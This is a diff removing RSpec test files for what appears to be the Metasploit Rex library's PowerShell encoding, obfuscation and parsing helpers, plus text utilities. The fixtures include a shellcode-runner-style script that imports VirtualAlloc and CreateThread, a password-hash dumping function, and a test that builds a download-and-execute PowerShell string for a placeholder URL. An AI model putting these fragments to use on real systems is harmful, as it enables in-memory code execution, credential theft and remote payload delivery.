|
||||
end
|
||||
end
|
||||
|
||||
describe "::encode_code" do
|
||||
it 'should base64 encode the code' do
|
||||
encoded = subject.encode_code
|
||||
expect(encoded).to eq subject.code
|
||||
encoded =~ /^([A-Za-z0-9\/+=]+)$/
|
||||
expect($1.size).to eq encoded.size
|
||||
end
|
||||
end
|
||||
|
||||
describe "::gzip_code" do
|
||||
it 'should gzip the code and wrap in powershell in uncompression stub' do
|
||||
compressed = subject.gzip_code
|
||||
expect(compressed.include?('IO.Compression.GzipStream')).to be_truthy
|
||||
compressed =~ /FromBase64String\('([A-Za-z0-9\/+=]+)'\)/
|
||||
expect($1.size).to be < Rex::Text.encode_base64(example_script).size
|
||||
expect(compressed).to eq subject.code
|
||||
end
|
||||
|
||||
it 'should append an eof marker if specified' do
|
||||
compressed = subject.gzip_code(eof)
|
||||
expect(compressed.include?("echo '#{eof}';")).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
describe "::compress_code" do
|
||||
it 'should gzip by default' do
|
||||
compressed = subject.compress_code
|
||||
expect(compressed.include?('IO.Compression.GzipStream')).to be_truthy
|
||||
end
|
||||
|
||||
it 'should deflate if gzip is false' do
|
||||
compressed = subject.compress_code(nil,false)
|
||||
expect(compressed.include?('IO.Compression.DeflateStream')).to be_truthy
|
||||
end
|
||||
|
||||
it 'should append an eof' do
|
||||
compressed = subject.compress_code(eof)
|
||||
expect(compressed.include?("echo '#{eof}';")).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
describe "::decompress_code" do
|
||||
it 'should locate the base64 string and decompress it when deflate is used' do
|
||||
compressed = subject.compress_code(nil, false)
|
||||
decompressed = subject.decompress_code
|
||||
expect(decompressed).to eq example_script
|
||||
end
|
||||
|
||||
it 'should locate the base64 string and decompress it when gzip is used' do
|
||||
compressed = subject.compress_code
|
||||
decompressed = subject.decompress_code
|
||||
expect(decompressed).to eq example_script
|
||||
end
|
||||
|
||||
it 'should raise a RuntimeException if the Base64 string is not compressed/corrupted' do
|
||||
corrupted = "FromBase64String('parp')"
|
||||
subject.code = corrupted
|
||||
expect { subject.decompress_code }.to raise_error(RuntimeError)
|
||||
expect(subject.code).to eq corrupted
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -1,27 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/powershell'
|
||||
|
||||
RSpec.describe Rex::Powershell::Param do
|
||||
|
||||
let(:param_name) do
|
||||
Rex::Text.rand_text_alpha(15)
|
||||
end
|
||||
|
||||
let(:klass_name) do
|
||||
Rex::Text.rand_text_alpha(15)
|
||||
end
|
||||
|
||||
describe "::initialize" do
|
||||
it 'should create a param' do
|
||||
param = Rex::Powershell::Param.new(klass_name, param_name)
|
||||
expect(param).to be
|
||||
expect(param.name).to eq param_name
|
||||
expect(param.klass).to eq klass_name
|
||||
expect(param.to_s.include?("[#{klass_name}]$#{param_name}")).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -1,159 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/powershell'
|
||||
|
||||
RSpec.describe Rex::Powershell::Parser do
|
||||
|
||||
let(:example_script) do
|
||||
"""
|
||||
function Find-4624Logons
|
||||
{
|
||||
$some_literal = @\"
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
namespace $kernel32 {
|
||||
public class func {
|
||||
[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
|
||||
[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
|
||||
[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
|
||||
[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
||||
[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
||||
[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
|
||||
}
|
||||
}
|
||||
\"@
|
||||
if (-not ($NewLogonAccountDomain -cmatch \"NT\\sAUTHORITY\" -or $NewLogonAccountDomain -cmatch \"Window\\sManager\"))
|
||||
{
|
||||
$Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort
|
||||
if (-not $ReturnInfo.ContainsKey($Key))
|
||||
{
|
||||
$Properties = @{
|
||||
LogType = 4624
|
||||
LogSource = \"Security\"
|
||||
SourceAccountName = $AccountName
|
||||
SourceDomainName = $AccountDomain
|
||||
NewLogonAccountName = $NewLogonAccountName
|
||||
NewLogonAccountDomain = $NewLogonAccountDomain
|
||||
LogonType = $LogonType
|
||||
WorkstationName = $WorkstationName
|
||||
SourceNetworkAddress = $SourceNetworkAddress
|
||||
SourcePort = $SourcePort
|
||||
Count = 1
|
||||
Times = @($Logon.TimeGenerated)
|
||||
}
|
||||
$literal2 = @\"parp\"@
|
||||
$ResultObj = New-Object PSObject -Property $Properties
|
||||
$ReturnInfo.Add($Key, $ResultObj)
|
||||
}
|
||||
else
|
||||
{
|
||||
$ReturnInfo[$Key].Count++
|
||||
$ReturnInfo[$Key].Times += ,$Logon.TimeGenerated
|
||||
}
|
||||
}
|
||||
}
|
||||
}"""
|
||||
|
||||
end
|
||||
|
||||
let(:subject) do
|
||||
Rex::Powershell::Script.new(example_script)
|
||||
end
|
||||
|
||||
describe "::get_var_names" do
|
||||
it 'should return some variable names' do
|
||||
vars = subject.get_var_names
|
||||
expect(vars).to be
|
||||
expect(vars).to be_kind_of Array
|
||||
expect(vars.length).to be > 0
|
||||
expect(vars.include?('$ResultObj')).to be_truthy
|
||||
end
|
||||
|
||||
it 'should not match upper or lowercase reserved names' do
|
||||
initial_vars = subject.get_var_names
|
||||
subject.code << "\r\n$SHELLID"
|
||||
subject.code << "\r\n$ShellId"
|
||||
subject.code << "\r\n$shellid"
|
||||
after_vars = subject.get_var_names
|
||||
expect(initial_vars).to eq after_vars
|
||||
end
|
||||
end
|
||||
|
||||
describe "::get_func_names" do
|
||||
it 'should return some function names' do
|
||||
funcs = subject.get_func_names
|
||||
expect(funcs).to be
|
||||
expect(funcs).to be_kind_of Array
|
||||
expect(funcs.length).to be > 0
|
||||
expect(funcs.include?('Find-4624Logons')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
describe "::get_string_literals" do
|
||||
it 'should return some string literals' do
|
||||
literals = subject.get_string_literals
|
||||
expect(literals).to be
|
||||
expect(literals).to be_kind_of Array
|
||||
expect(literals.length).to be > 0
|
||||
expect(literals[0].include?('parp')).to be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
describe "::scan_with_index" do
|
||||
it 'should scan code and return the items with an index' do
|
||||
scan = subject.scan_with_index('DllImport')
|
||||
expect(scan).to be
|
||||
expect(scan).to be_kind_of Array
|
||||
expect(scan.length).to be > 0
|
||||
expect(scan[0]).to be_kind_of Array
|
||||
expect(scan[0][0]).to be_kind_of String
|
||||
expect(scan[0][1]).to be_kind_of Integer
|
||||
end
|
||||
end
|
||||
|
||||
describe "::match_start" do
|
||||
it 'should match the correct brackets' do
|
||||
expect(subject.match_start('{')).to eq '}'
|
||||
expect(subject.match_start('(')).to eq ')'
|
||||
expect(subject.match_start('[')).to eq ']'
|
||||
expect(subject.match_start('<')).to eq '>'
|
||||
expect { subject.match_start('p') }.to raise_exception(ArgumentError)
|
||||
end
|
||||
end
|
||||
|
||||
describe "::block_extract" do
|
||||
it 'should extract a block between brackets given an index' do
|
||||
idx = subject.code.index('{')
|
||||
block = subject.block_extract(idx)
|
||||
expect(block).to be
|
||||
expect(block).to be_kind_of String
|
||||
end
|
||||
|
||||
it 'should raise a runtime error if given an invalid index' do
|
||||
expect { subject.block_extract(nil) }.to raise_error(ArgumentError)
|
||||
expect { subject.block_extract(-1) }.to raise_error(ArgumentError)
|
||||
expect { subject.block_extract(subject.code.length) }.to raise_error(ArgumentError)
|
||||
expect { subject.block_extract(59) }.to raise_error(ArgumentError)
|
||||
end
|
||||
end
|
||||
|
||||
describe "::get_func" do
|
||||
it 'should extract a function from the code' do
|
||||
function = subject.get_func('Find-4624Logons')
|
||||
expect(function).to be
|
||||
expect(function).to be_kind_of Rex::Powershell::Function
|
||||
end
|
||||
|
||||
it 'should return nil if function doesnt exist' do
|
||||
function = subject.get_func(Rex::Text.rand_text_alpha(5))
|
||||
expect(function).to be_nil
|
||||
end
|
||||
|
||||
it 'should delete the function if delete is true' do
|
||||
function = subject.get_func('Find-4624Logons', true)
|
||||
expect(subject.code.include?('DllImport')).to be_falsey
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -1,53 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/powershell'
|
||||
|
||||
RSpec.describe Rex::Powershell::PshMethods do
|
||||
|
||||
describe "::download" do
|
||||
it 'should return some powershell' do
|
||||
script = Rex::Powershell::PshMethods.download('a','b')
|
||||
expect(script).to be
|
||||
expect(script.include?('WebClient')).to be_truthy
|
||||
end
|
||||
end
|
||||
describe "::uninstall" do
|
||||
it 'should return some powershell' do
|
||||
script = Rex::Powershell::PshMethods.uninstall('a')
|
||||
expect(script).to be
|
||||
expect(script.include?('Win32_Product')).to be_truthy
|
||||
end
|
||||
end
|
||||
describe "::secure_string" do
|
||||
it 'should return some powershell' do
|
||||
script = Rex::Powershell::PshMethods.secure_string('a')
|
||||
expect(script).to be
|
||||
expect(script.include?('AsPlainText')).to be_truthy
|
||||
end
|
||||
end
|
||||
describe "::who_locked_file" do
|
||||
it 'should return some powershell' do
|
||||
script = Rex::Powershell::PshMethods.who_locked_file('a')
|
||||
expect(script).to be
|
||||
expect(script.include?('Get-Process')).to be_truthy
|
||||
end
|
||||
end
|
||||
describe "::get_last_login" do
|
||||
it 'should return some powershell' do
|
||||
script = Rex::Powershell::PshMethods.get_last_login('a')
|
||||
expect(script).to be
|
||||
expect(script.include?('Get-QADComputer')).to be_truthy
|
||||
end
|
||||
end
|
||||
describe "::proxy_aware_download_and_exec_string" do
|
||||
it 'should return some powershell' do
|
||||
url = 'http://blah'
|
||||
script = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)
|
||||
expect(script).to be
|
||||
expect(script.include?(url)).to be_truthy
|
||||
expect(script.downcase.include?('downloadstring')).to be_truthy
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -1,48 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/powershell'
|
||||
|
||||
RSpec.describe Rex::Powershell::Output do
|
||||
|
||||
let(:example_script) do
|
||||
Rex::Text.rand_text_alpha(400)
|
||||
end
|
||||
|
||||
let(:subject) do
|
||||
Rex::Powershell::Script.new(example_script)
|
||||
end
|
||||
|
||||
describe "::initialize" do
|
||||
it 'should create a new script object' do
|
||||
expect(subject).to be
|
||||
expect(subject).to be_kind_of Rex::Powershell::Script
|
||||
expect(subject.rig).to be
|
||||
expect(subject.rig).to be_kind_of Rex::RandomIdentifierGenerator
|
||||
expect(subject.code).to be
|
||||
expect(subject.code).to be_kind_of String
|
||||
expect(subject.code.empty?).to be_falsey
|
||||
expect(subject.functions.empty?).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
describe "::to_byte_array" do
|
||||
it 'should generate a powershell byte array' do
|
||||
byte_array = Rex::Powershell::Script.to_byte_array("parp")
|
||||
expect(byte_array).to be
|
||||
expect(byte_array).to be_kind_of String
|
||||
expect(byte_array.include?('[Byte[]] $')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
describe "::code_modifiers" do
|
||||
it 'should return an array of modifier methods' do
|
||||
mods = Rex::Powershell::Script.code_modifiers
|
||||
expect(mods).to be
|
||||
expect(mods).to be_kind_of Array
|
||||
expect(mods.empty?).to be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -1,47 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/powershell'
|
||||
|
||||
RSpec.describe Rex::Powershell do
|
||||
|
||||
let(:example_script) do
|
||||
"""function DumpHashes
|
||||
{
|
||||
LoadApi
|
||||
$bootkey = Get-BootKey;
|
||||
$hbootKey = Get-HBootKey $bootkey;
|
||||
Get-UserKeys | %{
|
||||
$hashes = Get-UserHashes $_ $hBootKey;
|
||||
\"{0}:{1}:{2}:{3}:::\" -f ($_.UserName,$_.Rid,
|
||||
[BitConverter]::ToString($hashes[0]).Replace(\"-\",\"\").ToLower(),
|
||||
[BitConverter]::ToString($hashes[1]).Replace(\"-\",\"\").ToLower());
|
||||
}
|
||||
}
|
||||
DumpHashes"""
|
||||
end
|
||||
|
||||
describe "::read_script" do
|
||||
it 'should create a script from a string input' do
|
||||
script = described_class.read_script(example_script)
|
||||
expect(script).to be_a_kind_of Rex::Powershell::Script
|
||||
end
|
||||
end
|
||||
|
||||
describe "::process_subs" do
|
||||
it 'should create an array of substitutions to process' do
|
||||
subs = described_class.process_subs("BitConverter,ParpConverter;$bootkey,$parpkey;")
|
||||
expect(subs).to eq [['BitConverter','ParpConverter'],['$bootkey','$parpkey']]
|
||||
end
|
||||
end
|
||||
|
||||
describe "::make_subs" do
|
||||
it 'should substitute values in script' do
|
||||
script = described_class.make_subs(example_script,[['BitConverter','ParpConverter']])
|
||||
expect(script.include?('BitConverter')).to be_falsey
|
||||
expect(script.include?('ParpConverter')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -1,141 +0,0 @@
|
|||
require 'spec_helper'
|
||||
require 'rex/random_identifier_generator'
|
||||
|
||||
RSpec.describe Rex::RandomIdentifierGenerator do
|
||||
let(:options) do
|
||||
{ :min_length => 10, :max_length => 20 }
|
||||
end
|
||||
|
||||
subject(:rig) { described_class.new(options) }
|
||||
|
||||
it { is_expected.to respond_to(:generate) }
|
||||
it { is_expected.to respond_to(:[]) }
|
||||
it { is_expected.to respond_to(:get) }
|
||||
it { is_expected.to respond_to(:store) }
|
||||
it { is_expected.to respond_to(:to_h) }
|
||||
|
||||
describe "#generate" do
|
||||
it "should respect :min_length" do
|
||||
1000.times do
|
||||
expect(rig.generate.length).to be >= options[:min_length]
|
||||
end
|
||||
end
|
||||
|
||||
it "should respect :max_length" do
|
||||
1000.times do
|
||||
expect(rig.generate.length).to be <= options[:max_length]
|
||||
end
|
||||
end
|
||||
|
||||
it "should allow mangling in a block" do
|
||||
ident = rig.generate { |identifier| identifier.upcase }
|
||||
expect(ident).to match(/\A[A-Z0-9_]*\Z/)
|
||||
|
||||
ident = subject.generate { |identifier| identifier.downcase }
|
||||
expect(ident).to match(/\A[a-z0-9_]*\Z/)
|
||||
|
||||
ident = subject.generate { |identifier| identifier.gsub("A","B") }
|
||||
expect(ident).not_to include("A")
|
||||
end
|
||||
end
|
||||
|
||||
describe "#get" do
|
||||
let(:options) do
|
||||
{ :min_length=>3, :max_length=>3 }
|
||||
end
|
||||
it "should return the same thing for subsequent calls" do
|
||||
expect(rig.get(:rspec)).to eq rig.get(:rspec)
|
||||
end
|
||||
it "should not return the same for different names" do
|
||||
# Statistically...
|
||||
count = 1000
|
||||
a = Set.new
|
||||
count.times do |n|
|
||||
a.add rig.get(n)
|
||||
end
|
||||
expect(a.size).to eq count
|
||||
end
|
||||
|
||||
context "with an exhausted set" do
|
||||
let(:options) do
|
||||
{ :char_set => "abcd", :min_length=>2, :max_length=>2 }
|
||||
end
|
||||
let(:max_permutations) do
|
||||
# 26 because first char is hardcoded to be lowercase alpha
|
||||
26 * (options[:char_set].length ** options[:min_length])
|
||||
end
|
||||
|
||||
it "doesn't infinite loop" do
|
||||
Timeout.timeout(1) do
|
||||
expect {
|
||||
(max_permutations + 1).times { |i| rig.get(i) }
|
||||
}.to raise_error(Rex::RandomIdentifierGenerator::ExhaustedSpaceError)
|
||||
# don't rescue TimeoutError here because we want that to be a
|
||||
# failure case
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
describe "#store" do
|
||||
let(:options) do
|
||||
{ :char_set => "abcd", :min_length=>8, :max_length=>20 }
|
||||
end
|
||||
|
||||
it "should allow smaller than minimum length" do
|
||||
value = "a"*(options[:min_length]-1)
|
||||
rig.store(:spec, value)
|
||||
expect(rig.get(:spec)).to eq value
|
||||
end
|
||||
|
||||
it "should allow bigger than maximum length" do
|
||||
value = "a"*(options[:max_length]+1)
|
||||
rig.store(:spec, value)
|
||||
expect(rig.get(:spec)).to eq value
|
||||
end
|
||||
|
||||
it "should raise if value is not unique" do
|
||||
value = "a"*(options[:max_length]+1)
|
||||
rig.store(:spec0, value)
|
||||
expect(rig.get(:spec0)).to eq value
|
||||
expect { rig.store(:spec1, value) }.to raise_error(RuntimeError)
|
||||
end
|
||||
|
||||
it "should overwrite a previously stored value" do
|
||||
orig_value = "a"*(options[:max_length])
|
||||
rig.store(:spec, orig_value)
|
||||
expect(rig.get(:spec)).to eq orig_value
|
||||
|
||||
new_value = "b"*(options[:max_length])
|
||||
rig.store(:spec, new_value)
|
||||
expect(rig.get(:spec)).to eq new_value
|
||||
end
|
||||
|
||||
it "should overwrite a previously generated value" do
|
||||
rig.get(:spec)
|
||||
|
||||
new_value = "a"*(options[:max_length])
|
||||
rig.store(:spec, new_value)
|
||||
expect(rig.get(:spec)).to eq new_value
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
describe "#to_h" do
|
||||
it "should return a Hash" do
|
||||
expect(rig.to_h).to be_kind_of(Hash)
|
||||
end
|
||||
it "should return expected key-value pairs" do
|
||||
expected_keys = [:var_foo, :var_bar]
|
||||
expected_keys.shuffle.each do |key|
|
||||
rig.init_var(key)
|
||||
end
|
||||
expect(rig.to_h.size).to eq(expected_keys.size)
|
||||
expect(rig.to_h.keys).to include(*expected_keys)
|
||||
expect(rig.to_h.values.map {|v| v.class}.uniq).to eq([String])
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -1,229 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/text'
|
||||
|
||||
RSpec.describe Rex::Text do
|
||||
context "Class methods" do
|
||||
|
||||
context ".to_ebcdic" do
|
||||
it "should convert ASCII to EBCDIC (both US standards)" do
|
||||
expect(described_class.to_ebcdic("Hello, World!")).to eq("\xc8\x85\x93\x93\x96\x6b\x40\xe6\x96\x99\x93\x84\x5a")
|
||||
end
|
||||
it "should raise on non-convertable characters" do
|
||||
expect(lambda {described_class.to_ebcdic("\xff\xfe")}).to raise_exception(described_class::IllegalSequence)
|
||||
end
|
||||
end
|
||||
|
||||
context ".from_ebcdic" do
|
||||
it "should convert EBCDIC to ASCII (both US standards)" do
|
||||
expect(described_class.from_ebcdic("\xc8\x85\x93\x93\x96\x6b\x40\xe6\x96\x99\x93\x84\x5a")).to eq("Hello, World!")
|
||||
end
|
||||
it "should raise on non-convertable characters" do
|
||||
expect(lambda {described_class.from_ebcdic("\xff\xfe")}).to raise_exception(described_class::IllegalSequence)
|
||||
end
|
||||
end
|
||||
|
||||
context ".to_ibm1047" do
|
||||
it "should convert ASCII to mainfram EBCDIC (cp1047)" do
|
||||
expect(
|
||||
described_class.to_ibm1047(%q[^[](){}%!$#1234567890abcde'"`~])
|
||||
).to eq("_\xAD\xBDM]\xC0\xD0lZ[{\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xF0\x81\x82\x83\x84\x85}\x7Fy\xA1")
|
||||
end
|
||||
end
|
||||
|
||||
context ".from_1047" do
|
||||
it "should convert mainframe EBCDIC (cp1047) to ASCII (ISO-8859-1)" do
|
||||
expect(
|
||||
described_class.from_ibm1047(%q[^[](){}%!$#1234567890abcde'"`~])
|
||||
).to eq(";$)\x88\x89#'\x85\x81\x84\x83\x91\x16\x93\x94\x95\x96\x04\x98\x99\x90/\xC2\xC4\xC0\xC1\e\x82-=")
|
||||
end
|
||||
end
|
||||
|
||||
context ".to_utf8" do
|
||||
it "should convert a string to UTF-8, skipping badchars" do
|
||||
expect(described_class.to_utf8("Hello, world!")).to eq("Hello, world!")
|
||||
expect(described_class.to_utf8("Oh no, \xff\xfe can't convert!")).to eq("Oh no, can't convert!")
|
||||
end
|
||||
end
|
||||
|
||||
context ".to_octal" do
|
||||
it "should convert all chars 00 through ff" do
|
||||
expect(described_class.to_octal("\x7f"*100)).to eq("\\177"*100)
|
||||
|
||||
all_chars = (0..0xff).map {|c| [c].pack("C") }.join
|
||||
all_octal = (0..0xff).map {|c| "\\%o"%(c) }.join
|
||||
expect(described_class.to_octal(all_chars)).to eq(all_octal)
|
||||
end
|
||||
it "should use the given prefix" do
|
||||
expect(described_class.to_octal("\x7f"*100, "foo")).to eq("foo177"*100)
|
||||
|
||||
all_chars = (0..0xff).map {|c| [c].pack("C") }.join
|
||||
all_octal = (0..0xff).map {|c| "test%o"%(c) }.join
|
||||
expect(described_class.to_octal(all_chars, "test")).to eq(all_octal)
|
||||
end
|
||||
end
|
||||
|
||||
context ".to_hex" do
|
||||
it "should convert all chars 00 through ff" do
|
||||
expect(described_class.to_hex("\x7f"*100)).to eq("\\x7f"*100)
|
||||
|
||||
all_chars = (0..0xff).map {|c| [c].pack("C") }.join
|
||||
all_hex = (0..0xff).map {|c| "\\x%02x"%(c) }.join
|
||||
expect(described_class.to_hex(all_chars)).to eq(all_hex)
|
||||
end
|
||||
it "should use the given prefix" do
|
||||
expect(described_class.to_hex("\x7f"*100, "foo")).to eq("foo7f"*100)
|
||||
|
||||
all_chars = (0..0xff).map {|c| [c].pack("C") }.join
|
||||
all_hex = (0..0xff).map {|c| "test%02x"%(c) }.join
|
||||
expect(described_class.to_hex(all_chars, "test")).to eq(all_hex)
|
||||
end
|
||||
end
|
||||
|
||||
context ".to_hex_ascii" do
|
||||
it "should handle non-printables" do
|
||||
non_print = (0x7f..0xff).map {|c| [c].pack("C") }.join
|
||||
non_print_hex = (0x7f..0xff).map {|c| "\\x%02x"%(c) }.join
|
||||
expect(described_class.to_hex_ascii(non_print)).to eq(non_print_hex)
|
||||
|
||||
expect(described_class.to_hex_ascii("\x00")).to eq("\\x00")
|
||||
expect(described_class.to_hex_ascii("\x1f")).to eq("\\x1f")
|
||||
expect(described_class.to_hex_ascii("\x00"*100)).to eq("\\x00"*100)
|
||||
end
|
||||
it "should not mess with printables" do
|
||||
expect(described_class.to_hex_ascii("A")).to eq("A")
|
||||
expect(described_class.to_hex_ascii("A\x7f")).to eq("A\\x7f")
|
||||
end
|
||||
end
|
||||
|
||||
context ".gzip" do
|
||||
it "should return a properly formatted gzip file" do
|
||||
str = described_class.gzip("hi mom")
|
||||
expect(str[0,4]).to eq("\x1f\x8b\x08\x00") # Gzip magic
|
||||
# bytes 4 through 9 are a time stamp
|
||||
expect(str[10..-1]).to eq("\xcb\xc8\x54\xc8\xcd\xcf\x05\x00\x68\xa4\x1c\xf0\x06\x00\x00\x00")
|
||||
end
|
||||
end
|
||||
|
||||
context ".ungzip" do
|
||||
it "should return an uncompressed string" do
|
||||
gzip = "\x1f\x8b\x08\x00"
|
||||
gzip << "\x00" * 6
|
||||
gzip << "\xcb\xc8\x54\xc8\xcd\xcf\x05\x00\x68\xa4\x1c\xf0\x06\x00\x00\x00"
|
||||
expect(described_class.ungzip(gzip)).to eq("hi mom")
|
||||
end
|
||||
end
|
||||
|
||||
context ".rand_surname" do
|
||||
it "should return a random surname" do
|
||||
expect(described_class::Surnames).to include(described_class.rand_surname)
|
||||
end
|
||||
end
|
||||
|
||||
context ".rand_name" do
|
||||
it "should return a random name" do
|
||||
names = described_class::Names_Female + described_class::Names_Male
|
||||
expect(names).to include(described_class.rand_name)
|
||||
end
|
||||
end
|
||||
|
||||
context ".rand_name_female" do
|
||||
it "should return a random female name" do
|
||||
expect(described_class::Names_Female).to include(described_class.rand_name_female)
|
||||
end
|
||||
end
|
||||
|
||||
context ".rand_name_male" do
|
||||
it "should return a random male name" do
|
||||
expect(described_class::Names_Male).to include(described_class.rand_name_male)
|
||||
end
|
||||
end
|
||||
|
||||
context ".rand_mail_address" do
|
||||
it "should return a random mail address" do
|
||||
names = described_class::Names_Female + described_class::Names_Male
|
||||
surnames = described_class::Surnames
|
||||
tlds = described_class::TLDs
|
||||
|
||||
# XXX: This is kinda dirty
|
||||
mail_address = described_class.rand_mail_address.split("@").map { |x| x.split(".") }
|
||||
name, surname = mail_address.first.first, mail_address.first.last
|
||||
domain, tld = "example", mail_address.last.last # Poor man's stubbing to preserve TLD
|
||||
|
||||
expect(names).to include(name)
|
||||
expect(surnames).to include(surname)
|
||||
expect(domain).to eq("example")
|
||||
expect(tlds).to include(tld)
|
||||
end
|
||||
end
|
||||
|
||||
context ".randomize_space" do
|
||||
let (:sample_text) { "The quick brown sploit jumped over the lazy A/V" }
|
||||
let (:spaced_text) { described_class.randomize_space(sample_text) }
|
||||
it "should return a string with at least one new space characater" do
|
||||
expect(spaced_text).to match /[\x09\x0d\x0a]/
|
||||
end
|
||||
|
||||
it "should not otherwise be mangled" do
|
||||
normalized_text = spaced_text.gsub(/[\x20\x09\x0d\x0a]+/m, " ")
|
||||
expect(normalized_text).to eq(sample_text)
|
||||
end
|
||||
end
|
||||
|
||||
context ".cowsay" do
|
||||
|
||||
def moo(num)
|
||||
(%w(moo) * num).join(' ')
|
||||
end
|
||||
|
||||
it "should cowsay single lines correctly" do
|
||||
cowsaid = <<EOCOW
|
||||
_____________________
|
||||
< moo moo moo moo moo >
|
||||
---------------------
|
||||
\\ ,__,
|
||||
\\ (oo)____
|
||||
(__) )\\
|
||||
||--|| *
|
||||
EOCOW
|
||||
expect(described_class.cowsay(moo(5))).to eq(cowsaid)
|
||||
end
|
||||
|
||||
it "should cowsay two lines correctly" do
|
||||
cowsaid = <<EOCOW
|
||||
_____________________________________
|
||||
/ moo moo moo moo moo moo moo moo moo \\
|
||||
\\ moo moo moo moo moo moo /
|
||||
-------------------------------------
|
||||
\\ ,__,
|
||||
\\ (oo)____
|
||||
(__) )\\
|
||||
||--|| *
|
||||
EOCOW
|
||||
expect(described_class.cowsay(moo(15))).to eq(cowsaid)
|
||||
end
|
||||
|
||||
it "should cowsay three+ lines correctly" do
|
||||
cowsaid = <<EOCOW
|
||||
_____________________________________
|
||||
/ moo moo moo moo moo moo moo moo moo \\
|
||||
| moo moo moo moo moo moo moo moo mo |
|
||||
| o moo moo moo moo moo moo moo moo m |
|
||||
\\ oo moo moo moo /
|
||||
-------------------------------------
|
||||
\\ ,__,
|
||||
\\ (oo)____
|
||||
(__) )\\
|
||||
||--|| *
|
||||
EOCOW
|
||||
expect(described_class.cowsay(moo(30))).to eq(cowsaid)
|
||||
end
|
||||
|
||||
it "should respect the wrap" do
|
||||
wrap = 40 + rand(100)
|
||||
cowsaid = described_class.cowsay(moo(1000), wrap)
|
||||
max_len = cowsaid.split(/\n/).map(&:length).sort.last
|
||||
expect(max_len).to eq(wrap)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue